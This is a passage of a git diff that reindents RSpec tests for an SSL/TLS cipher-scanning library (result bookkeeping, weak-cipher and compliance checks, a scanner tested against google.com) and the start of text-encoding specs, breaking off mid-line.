- subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.accepted(:SSLv3).count.should == 1 - end - end - context "that was rejected" do - it "should add an SSLv2 cipher result to the SSLv2 Rejected array or generate an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) - subject.rejected(:SSLv2).should include({ - :version => :SSLv2, - :cipher=>"DES-CBC3-MD5", - :key_length=>168, - :weak=> false, - :status => :rejected}) - rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." - end - end - - it "should add an SSLv3 cipher result to the SSLv3 Rejected array" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.rejected(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :rejected}) - end - - it "should add an TLSv1 cipher result to the TLSv1 Rejected array" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) - subject.rejected(:TLSv1).should include({ - :version => :TLSv1, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :rejected}) - end - - it "should successfully add multiple entries in a row" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.rejected(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :rejected}) - subject.rejected(:SSLv3).should include({ - :version => :SSLv3, - :cipher=>"AES128-SHA", - :key_length=>128, - :weak=> false, - :status => :rejected}) - end - - it "should not add duplicate entries" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.rejected(:SSLv3).count.should == 1 - end - end - end - - context "enumerating all accepted ciphers" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - end - - context "with no version selected" do - it "should return an array of cipher detail hashes" do - subject.each_accepted do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length, :status, :weak) - end - end - - it "should return all of the accepted cipher details" do - count = 0 - subject.each_accepted do |cipher_details| - count = count+1 - end - count.should == 3 - end - end - - context "when specifying one SSL version" do - it "should raise an exception if not given a symbol" do - expect{ subject.each_accepted('sslv2')}.to raise_error - end - - it "should raise an exception if given an invalid SSL version" do - expect{ subject.each_accepted(:TLSv3)}.to raise_error - end - - it "should return only ciphers matching the version" do - subject.each_accepted(:SSLv3) do |cipher_details| - cipher_details[:version].should == :SSLv3 - end - end - end - - context "when specifying multiple SSL Versions in an array" do - it "should return all versions if no valid versions were supplied" do - count = 0 - subject.each_accepted([:TLSv3, :TLSv4]) do |cipher_details| - count = count+1 - end - count.should == 3 - end - - it "should return only the ciphers for the specified version" do - subject.each_accepted([:SSLv3,:TLSv1]) do |cipher_details| - cipher_details[:version].should_not == :SSLv2 - end - end - end - end - - context "enumerating all rejected ciphers" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - end - - context "with no version selected" do - it "should return an array of cipher detail hashes" do - subject.each_rejected do |cipher_details| - cipher_details.should include(:version, :cipher, :key_length, :status, :weak) - end - end - - it "should return all of the rejected cipher details" do - count = 0 - subject.each_rejected do |cipher_details| - count = count+1 - end - count.should == 3 - end - end - - context "when specifying one SSL version" do - it "should raise an exception if not given a symbol" do - expect{ subject.each_rejected('sslv2')}.to raise_error - end - - it "should raise an exception if given an invalid SSL version" do - expect{ subject.each_rejected(:TLSv3)}.to raise_error - end - - it "should return only ciphers matching the version" do - subject.each_rejected(:SSLv3) do |cipher_details| - cipher_details[:version].should == :SSLv3 - end - end - end - - context "when specifying multiple SSL Versions in an array" do - it "should return all versions if no valid versions were supplied" do - count = 0 - subject.each_rejected([:TLSv3, :TLSv4]) do |cipher_details| - count = count+1 - end - count.should == 3 - end - - it "should return only the ciphers for the specified version" do - subject.each_rejected([:SSLv3,:TLSv1]) do |cipher_details| - cipher_details[:version].should_not == :SSLv2 - end - end - end - end - - context "checking SSL support" do - context "for SSLv2" do - it "should return false if there are no accepted ciphers" do - subject.supports_sslv2?.should == false - end - it "should return true if there are accepted ciphers or raise an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.supports_sslv2?.should == true - rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." - end - end - end - context "for SSLv3" do - it "should return false if there are no accepted ciphers" do - subject.supports_sslv3?.should == false - end - it "should return true if there are accepted ciphers" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.supports_sslv3?.should == true - end - end - context "for TLSv1" do - it "should return false if there are no accepted ciphers" do - subject.supports_tlsv1?.should == false - end - it "should return true if there are accepted ciphers" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.supports_tlsv1?.should == true - end - end - context "for SSL at large" do - it "should return false if there are no accepted ciphers" do - subject.supports_ssl?.should == false - end - it "should return true if there are accepted ciphers" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.supports_ssl?.should == true - end - end - end - - context "checking for weak ciphers" do - context "when weak ciphers are supported" do - before(:each) do - subject.add_cipher(:SSLv3, "EXP-RC4-MD5", 40, :accepted) - subject.add_cipher(:SSLv3, "DES-CBC-SHA", 56, :accepted) - end - it "should return an array of weak ciphers from #weak_ciphers" do - weak = subject.weak_ciphers - weak.class.should == Array - weak.each do |cipher| - cipher[:weak].should == true - end - weak.count.should == 2 - end - - it "should return true from #supports_weak_ciphers" do - subject.supports_weak_ciphers?.should == true - end - end - - context "when no weak ciphers are supported" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - end - it "should return an empty array from #weak_ciphers" do - subject.weak_ciphers.should == [] - end - - it "should return false from #supports_weak_ciphers" do - subject.supports_weak_ciphers?.should == false - end - end - end - - context "checking for standards compliance" do - it "should return true if there is no SSL support" do - subject.standards_compliant?.should == true - end - - it "should return false if SSLv2 is supported or raise an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.standards_compliant?.should == false - rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." - end - end - - it "should return false if weak ciphers are supported" do - subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) - subject.standards_compliant?.should == false - end - - it "should return true if SSLv2 and Weak Ciphers are disabled" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.standards_compliant?.should == true - end - end - - context "when printing the results" do - context "when OpenSSL is compiled without SSLv2" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.openssl_sslv2 = false - end - it "should warn the user" do - subject.to_s.should include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" - end - end - - context "when we have SSL results" do - before(:each) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) - - cert = OpenSSL::X509::Certificate.new - key = OpenSSL::PKey::RSA.new 2048 - cert.version = 2 # - cert.serial = 1 - cert.subject = OpenSSL::X509::Name.parse "/DC=org/DC=ruby-lang/CN=Ruby CA" - cert.issuer = cert.subject - cert.public_key = key.public_key - cert.not_before = Time.now - cert.not_after = cert.not_before + 2 * 365 * 24 * 60 * 60 # 2 - - subject.cert = cert - end - - it "should contain the certificate" do - subject.to_s.should include "Issuer: DC=org, DC=ruby-lang, CN=Ruby CA" - subject.to_s.should include "Subject: DC=org, DC=ruby-lang, CN=Ruby CA" - end - - it "should have a table with our SSL Cipher Results" do - subject.to_s.should include "Accepted * SSLv3 40 EXP-RC2-CBC-MD5" - subject.to_s.should include "Accepted SSLv3 128 AES128-SHA" - subject.to_s.should include "Accepted SSLv3 256 AES256-SHA" - subject.to_s.should include "Accepted TLSv1 256 AES256-SHA" - end - end - - it "should return an appropriate message when SSL is not supported" do - subject.stub(:supports_ssl?).and_return(false) - subject.to_s.should == "Server does not appear to support SSL on this port!" - end - - - end + context "with no values set" do + it "should return nil for the cert" do + subject.cert.should == nil + end + + it "should return an empty set for ciphers" do + subject.ciphers.should be_empty + end + + it "should return an empty array for accepted" do + subject.accepted.should == [] + end + + it "should return an empty array for rejected" do + subject.rejected.should == [] + end + + it "should return an empty array for #sslv2" do + subject.sslv2.should == [] + end + + it "should return an empty array for #sslv3" do + subject.sslv3.should == [] + end + + it "should return an empty array for #tlsv1" do + subject.tlsv1.should == [] + end + + it "should return an empty array for #weak_ciphers" do + subject.weak_ciphers.should == [] + end + + it "should return an empty array for #strong_ciphers" do + subject.strong_ciphers.should == [] + end + + it "should return false for #supports_ssl?" do + subject.supports_ssl?.should == false + end + + it "should return false for #supports_ssl?v2" do + subject.supports_sslv2?.should == false + end + + it "should return false for #supports_sslv3?" do + subject.supports_sslv3?.should == false + end + + it "should return false for #supports_tlsv1?" do + subject.supports_tlsv1?.should == false + end + + it "should return false for #supports_weak_ciphers?" do + subject.supports_weak_ciphers?.should == false + end + + it "should return true for #standards_compliant?" do + subject.standards_compliant?.should == true + end + end + + context "setting the cert" do + it "should accept nil" do + subject.cert = nil + subject.cert.should == nil + end + + it "should accept an X509 cert" do + cert = OpenSSL::X509::Certificate.new + subject.cert = cert + subject.cert.should == cert + end + + it "should raise an exception for anything else" do + expect{subject.cert = "foo"}.to raise_error + end + end + + context "adding a cipher result" do + context "should raise an exception if" do + it "given an invalid SSL version" do + expect{subject.add_cipher(:ssl3, 'AES256-SHA', 256, :accepted )}.to raise_error + end + + it "given SSL version as a string" do + expect{subject.add_cipher('sslv3', 'AES256-SHA', 256, :accepted )}.to raise_error + end + + it "given an invalid SSL cipher" do + expect{subject.add_cipher(:SSLv3, 'FOO256-SHA', 256, :accepted )}.to raise_error + end + + it "given an unsupported cipher for the version" do + expect{subject.add_cipher(:SSLv3, 'DES-CBC3-MD5', 256, :accepted )}.to raise_error + end + + it "given a non-number for key length" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', "256", :accepted )}.to raise_error + end + + it "given a decimal key length" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 25.6, :accepted )}.to raise_error + end + + it "given an invalid status" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, :good )}.to raise_error + end + + it "given status as a string" do + expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, "accepted" )}.to raise_error + end + end + context "that was accepted" do + it "should add an SSLv2 cipher result to the SSLv2 Accepted array or generate an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.accepted(:SSLv2).should include({ + :version => :SSLv2, + :cipher=>"DES-CBC3-MD5", + :key_length=>168, + :weak=> false, + :status => :accepted}) + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end + end + + it "should add an SSLv3 cipher result to the SSLv3 Accepted array" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.accepted(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) + end + + it "should add an TLSv1 cipher result to the TLSv1 Accepted array" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.accepted(:TLSv1).should include({ + :version => :TLSv1, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) + end + + it "should successfully add multiple entries in a row" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.accepted(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) + subject.accepted(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :accepted}) + end + + it "should not add duplicate entries" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.accepted(:SSLv3).count.should == 1 + end + end + context "that was rejected" do + it "should add an SSLv2 cipher result to the SSLv2 Rejected array or generate an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) + subject.rejected(:SSLv2).should include({ + :version => :SSLv2, + :cipher=>"DES-CBC3-MD5", + :key_length=>168, + :weak=> false, + :status => :rejected}) + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end + end + + it "should add an SSLv3 cipher result to the SSLv3 Rejected array" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) + subject.rejected(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :rejected}) + end + + it "should add an TLSv1 cipher result to the TLSv1 Rejected array" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) + subject.rejected(:TLSv1).should include({ + :version => :TLSv1, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :rejected}) + end + + it "should successfully add multiple entries in a row" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) + subject.rejected(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES256-SHA", + :key_length=>256, + :weak=> false, + :status => :rejected}) + subject.rejected(:SSLv3).should include({ + :version => :SSLv3, + :cipher=>"AES128-SHA", + :key_length=>128, + :weak=> false, + :status => :rejected}) + end + + it "should not add duplicate entries" do + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + subject.rejected(:SSLv3).count.should == 1 + end + end + end + + context "enumerating all accepted ciphers" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + end + + context "with no version selected" do + it "should return an array of cipher detail hashes" do + subject.each_accepted do |cipher_details| + cipher_details.should include(:version, :cipher, :key_length, :status, :weak) + end + end + + it "should return all of the accepted cipher details" do + count = 0 + subject.each_accepted do |cipher_details| + count = count+1 + end + count.should == 3 + end + end + + context "when specifying one SSL version" do + it "should raise an exception if not given a symbol" do + expect{ subject.each_accepted('sslv2')}.to raise_error + end + + it "should raise an exception if given an invalid SSL version" do + expect{ subject.each_accepted(:TLSv3)}.to raise_error + end + + it "should return only ciphers matching the version" do + subject.each_accepted(:SSLv3) do |cipher_details| + cipher_details[:version].should == :SSLv3 + end + end + end + + context "when specifying multiple SSL Versions in an array" do + it "should return all versions if no valid versions were supplied" do + count = 0 + subject.each_accepted([:TLSv3, :TLSv4]) do |cipher_details| + count = count+1 + end + count.should == 3 + end + + it "should return only the ciphers for the specified version" do + subject.each_accepted([:SSLv3,:TLSv1]) do |cipher_details| + cipher_details[:version].should_not == :SSLv2 + end + end + end + end + + context "enumerating all rejected ciphers" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) + end + + context "with no version selected" do + it "should return an array of cipher detail hashes" do + subject.each_rejected do |cipher_details| + cipher_details.should include(:version, :cipher, :key_length, :status, :weak) + end + end + + it "should return all of the rejected cipher details" do + count = 0 + subject.each_rejected do |cipher_details| + count = count+1 + end + count.should == 3 + end + end + + context "when specifying one SSL version" do + it "should raise an exception if not given a symbol" do + expect{ subject.each_rejected('sslv2')}.to raise_error + end + + it "should raise an exception if given an invalid SSL version" do + expect{ subject.each_rejected(:TLSv3)}.to raise_error + end + + it "should return only ciphers matching the version" do + subject.each_rejected(:SSLv3) do |cipher_details| + cipher_details[:version].should == :SSLv3 + end + end + end + + context "when specifying multiple SSL Versions in an array" do + it "should return all versions if no valid versions were supplied" do + count = 0 + subject.each_rejected([:TLSv3, :TLSv4]) do |cipher_details| + count = count+1 + end + count.should == 3 + end + + it "should return only the ciphers for the specified version" do + subject.each_rejected([:SSLv3,:TLSv1]) do |cipher_details| + cipher_details[:version].should_not == :SSLv2 + end + end + end + end + + context "checking SSL support" do + context "for SSLv2" do + it "should return false if there are no accepted ciphers" do + subject.supports_sslv2?.should == false + end + it "should return true if there are accepted ciphers or raise an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.supports_sslv2?.should == true + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end + end + end + context "for SSLv3" do + it "should return false if there are no accepted ciphers" do + subject.supports_sslv3?.should == false + end + it "should return true if there are accepted ciphers" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.supports_sslv3?.should == true + end + end + context "for TLSv1" do + it "should return false if there are no accepted ciphers" do + subject.supports_tlsv1?.should == false + end + it "should return true if there are accepted ciphers" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.supports_tlsv1?.should == true + end + end + context "for SSL at large" do + it "should return false if there are no accepted ciphers" do + subject.supports_ssl?.should == false + end + it "should return true if there are accepted ciphers" do + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.supports_ssl?.should == true + end + end + end + + context "checking for weak ciphers" do + context "when weak ciphers are supported" do + before(:each) do + subject.add_cipher(:SSLv3, "EXP-RC4-MD5", 40, :accepted) + subject.add_cipher(:SSLv3, "DES-CBC-SHA", 56, :accepted) + end + it "should return an array of weak ciphers from #weak_ciphers" do + weak = subject.weak_ciphers + weak.class.should == Array + weak.each do |cipher| + cipher[:weak].should == true + end + weak.count.should == 2 + end + + it "should return true from #supports_weak_ciphers" do + subject.supports_weak_ciphers?.should == true + end + end + + context "when no weak ciphers are supported" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + end + it "should return an empty array from #weak_ciphers" do + subject.weak_ciphers.should == [] + end + + it "should return false from #supports_weak_ciphers" do + subject.supports_weak_ciphers?.should == false + end + end + end + + context "checking for standards compliance" do + it "should return true if there is no SSL support" do + subject.standards_compliant?.should == true + end + + it "should return false if SSLv2 is supported or raise an SSLv2 exception" do + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.standards_compliant?.should == false + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'." + end + end + + it "should return false if weak ciphers are supported" do + subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) + subject.standards_compliant?.should == false + end + + it "should return true if SSLv2 and Weak Ciphers are disabled" do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.standards_compliant?.should == true + end + end + + context "when printing the results" do + context "when OpenSSL is compiled without SSLv2" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.openssl_sslv2 = false + end + it "should warn the user" do + subject.to_s.should include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" + end + end + + context "when we have SSL results" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) + + cert = OpenSSL::X509::Certificate.new + key = OpenSSL::PKey::RSA.new 2048 + cert.version = 2 # + cert.serial = 1 + cert.subject = OpenSSL::X509::Name.parse "/DC=org/DC=ruby-lang/CN=Ruby CA" + cert.issuer = cert.subject + cert.public_key = key.public_key + cert.not_before = Time.now + cert.not_after = cert.not_before + 2 * 365 * 24 * 60 * 60 # 2 + + subject.cert = cert + end + + it "should contain the certificate" do + subject.to_s.should include "Issuer: DC=org, DC=ruby-lang, CN=Ruby CA" + subject.to_s.should include "Subject: DC=org, DC=ruby-lang, CN=Ruby CA" + end + + it "should have a table with our SSL Cipher Results" do + subject.to_s.should include "Accepted * SSLv3 40 EXP-RC2-CBC-MD5" + subject.to_s.should include "Accepted SSLv3 128 AES128-SHA" + subject.to_s.should include "Accepted SSLv3 256 AES256-SHA" + subject.to_s.should include "Accepted TLSv1 256 AES256-SHA" + end + end + + it "should return an appropriate message when SSL is not supported" do + subject.stub(:supports_ssl?).and_return(false) + subject.to_s.should == "Server does not appear to support SSL on this port!" + end + + + end end diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 93e760fe8a..372cf21e03 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -6,102 +6,102 @@ require 'rex/compat' describe Rex::SSLScan::Scanner do - subject{Rex::SSLScan::Scanner.new("google.com", 443)} + subject{Rex::SSLScan::Scanner.new("google.com", 443)} - it { should respond_to :host } - it { should respond_to :port } - it { should respond_to :timeout } - it { should respond_to :valid? } + it { should respond_to :host } + it { should respond_to :port } + it { should respond_to :timeout } + it { should respond_to :valid? } - context "when validating the scanner config" do - it "should return true when given a valid config" do - subject.valid?.should == true - end + context "when validating the scanner config" do + it "should return true when given a valid config" do + subject.valid?.should == true + end - it "should return false if given an invalid host" do - subject.host = nil - subject.valid?.should == false - end + it "should return false if given an invalid host" do + subject.host = nil + subject.valid?.should == false + end - it "should return false if given an invalid port" do - subject.port = nil - subject.valid?.should == false - end + it "should return false if given an invalid port" do + subject.port = nil + subject.valid?.should == false + end - it "should return false if given an invalid timeout" do - subject.timeout = nil - subject.valid?.should == false - end - end + it "should return false if given an invalid timeout" do + subject.timeout = nil + subject.valid?.should == false + end + end - context "when testing a single cipher" do - context "an exception should be raised if" do - it "has an invalid scanner configuration" do - subject.host =nil - expect{ subject.test_cipher(:SSLv2, "AES128-SHA")}.to raise_error - end + context "when testing a single cipher" do + context "an exception should be raised if" do + it "has an invalid scanner configuration" do + subject.host =nil + expect{ subject.test_cipher(:SSLv2, "AES128-SHA")}.to raise_error + end - it "is given an invalid SSL version" do - expect{ subject.test_cipher(:SSLv5, "AES128-SHA")}.to raise_error - end + it "is given an invalid SSL version" do + expect{ subject.test_cipher(:SSLv5, "AES128-SHA")}.to raise_error + end - it "is given an invalid cipher" do - expect{ subject.test_cipher(:SSLv2, "FOO128-SHA")}.to raise_error - end + it "is given an invalid cipher" do + expect{ subject.test_cipher(:SSLv2, "FOO128-SHA")}.to raise_error + end - it "is given an invalid cipher for the SSL Version" do - expect{ subject.test_cipher(:SSLv3, 'DES-CBC3-MD5')}.to raise_error - end - end + it "is given an invalid cipher for the SSL Version" do + expect{ subject.test_cipher(:SSLv3, 'DES-CBC3-MD5')}.to raise_error + end + end - context ":rejected should be returned if" do - it "scans a server that doesn't support the supplied SSL version" do - subject.test_cipher(:SSLv3, "DES-CBC-SHA").should == :rejected - end + context ":rejected should be returned if" do + it "scans a server that doesn't support the supplied SSL version" do + subject.test_cipher(:SSLv3, "DES-CBC-SHA").should == :rejected + end - it "scans a server that doesn't support the cipher" do - subject.test_cipher(:SSLv3, "DHE-DSS-AES256-SHA").should == :rejected - end - end + it "scans a server that doesn't support the cipher" do + subject.test_cipher(:SSLv3, "DHE-DSS-AES256-SHA").should == :rejected + end + end - context ":accepted should be returned if" do - it "scans a server that accepts the given cipher" do - subject.test_cipher(:SSLv3, "AES256-SHA").should == :accepted - end - end - end + context ":accepted should be returned if" do + it "scans a server that accepts the given cipher" do + subject.test_cipher(:SSLv3, "AES256-SHA").should == :accepted + end + end + end - context "when retrieving the cert" do - it "should return nil if it can't connect" do - subject.get_cert(:SSLv3, "DES-CBC-SHA").should == nil - end + context "when retrieving the cert" do + it "should return nil if it can't connect" do + subject.get_cert(:SSLv3, "DES-CBC-SHA").should == nil + end - it "should return an X509 cert if it can connect" do - subject.get_cert(:SSLv3, "AES256-SHA").class.should == OpenSSL::X509::Certificate - end - end + it "should return an X509 cert if it can connect" do + subject.get_cert(:SSLv3, "AES256-SHA").class.should == OpenSSL::X509::Certificate + end + end - context "when scanning https://google.com" do - it "should return a Result object" do - result = subject.scan - result.class.should == Rex::SSLScan::Result - end + context "when scanning https://google.com" do + it "should return a Result object" do + result = subject.scan + result.class.should == Rex::SSLScan::Result + end - context "if SSLv2 is not available locally" do - before(:each) do - subject.stub(:check_opensslv2).and_return(false) - subject.send(:initialize, 'google.com', 443) - end - it "should mark SSLv2 as unsupported" do - subject.supported_versions.should_not include :SSLv2 - subject.sslv2.should == false - end + context "if SSLv2 is not available locally" do + before(:each) do + subject.stub(:check_opensslv2).and_return(false) + subject.send(:initialize, 'google.com', 443) + end + it "should mark SSLv2 as unsupported" do + subject.supported_versions.should_not include :SSLv2 + subject.sslv2.should == false + end - it "should not test any SSLv2 ciphers" do - res = subject.scan - res.sslv2.should == [] - end - end - end + it "should not test any SSLv2 ciphers" do + res = subject.scan + res.sslv2.should == [] + end + end + end end diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index 96882e8c3f..9c1eb8dfb7 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -1,76 +1,76 @@ require 'rex/text' describe Rex::Text do - context "Class methods" do + context "Class methods" do - context ".to_octal" do - it "should convert all chars 00 through ff" do - described_class.to_octal("\x7f"*100).should eq("\\177"*100) + context ".to_octal" do + it "should convert all chars 00 through ff" do + described_class.to_octal("\x7f"*100).should eq("\\177"*100) - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_octal = (0..0xff).map {|c| "\\%o"%(c) }.join - described_class.to_octal(all_chars).should eq(all_octal) - end - it "should use the given prefix" do - described_class.to_octal("\x7f"*100, "foo").should eq("foo177"*100) + all_chars = (0..0xff).map {|c| [c].pack("C") }.join + all_octal = (0..0xff).map {|c| "\\%o"%(c) }.join + described_class.to_octal(all_chars).should eq(all_octal) + end + it "should use the given prefix" do + described_class.to_octal("\x7f"*100, "foo").should eq("foo177"*100) - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_octal = (0..0xff).map {|c| "test%o"%(c) }.join - described_class.to_octal(all_chars, "test").should eq(all_octal) - end - end + all_chars = (0..0xff).map {|c| [c].pack("C") }.join + all_octal = (0..0xff).map {|c| "test%o"%(c) }.join + described_class.to_octal(all_chars, "test").should eq(all_octal) + end + end - context ".to_hex" do - it "should convert all chars 00 through ff" do - described_class.to_hex("\x7f"*100).should eq("\\x7f"*100) + context ".to_hex" do + it "should convert all chars 00 through ff" do + described_class.to_hex("\x7f"*100).should eq("\\x7f"*100) - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_hex = (0..0xff).map {|c| "\\x%02x"%(c) }.join - described_class.to_hex(all_chars).should eq(all_hex) - end - it "should use the given prefix" do - described_class.to_hex("\x7f"*100, "foo").should eq("foo7f"*100) + all_chars = (0..0xff).map {|c| [c].pack("C") }.join + all_hex = (0..0xff).map {|c| "\\x%02x"%(c) }.join + described_class.to_hex(all_chars).should eq(all_hex) + end + it "should use the given prefix" do + described_class.to_hex("\x7f"*100, "foo").should eq("foo7f"*100) - all_chars = (0..0xff).map {|c| [c].pack("C") }.join - all_hex = (0..0xff).map {|c| "test%02x"%(c) }.join - described_class.to_hex(all_chars, "test").should eq(all_hex) - end - end + all_chars = (0..0xff).map {|c| [c].pack("C") }.join + all_hex = (0..0xff).map {|c| "test%02x"%(c) }.join + described_class.to_hex(all_chars, "test").should eq(all_hex) + end + end - context ".to_hex_ascii" do - it "should handle non-printables" do - non_print = (0x7f..0xff).map {|c| [c].pack("C") }.join - non_print_hex = (0x7f..0xff).map {|c| "\\x%02x"%(c) }.join - described_class.to_hex_ascii(non_print).should eq(non_print_hex) + context ".to_hex_ascii" do + it "should handle non-printables" do + non_print = (0x7f..0xff).map {|c| [c].pack("C") }.join + non_print_hex = (0x7f..0xff).map {|c| "\\x%02x"%(c) }.join + described_class.to_hex_ascii(non_print).should eq(non_print_hex) - described_class.to_hex_ascii("\x00").should eq("\\x00") - described_class.to_hex_ascii("\x1f").should eq("\\x1f") - described_class.to_hex_ascii("\x00"*100).should eq("\\x00"*100) - end - it "should not mess with printables" do - described_class.to_hex_ascii("A").should eq("A") - described_class.to_hex_ascii("A\x7f").should eq("A\\x7f") - end - end + described_class.to_hex_ascii("\x00").should eq("\\x00") + described_class.to_hex_ascii("\x1f").should 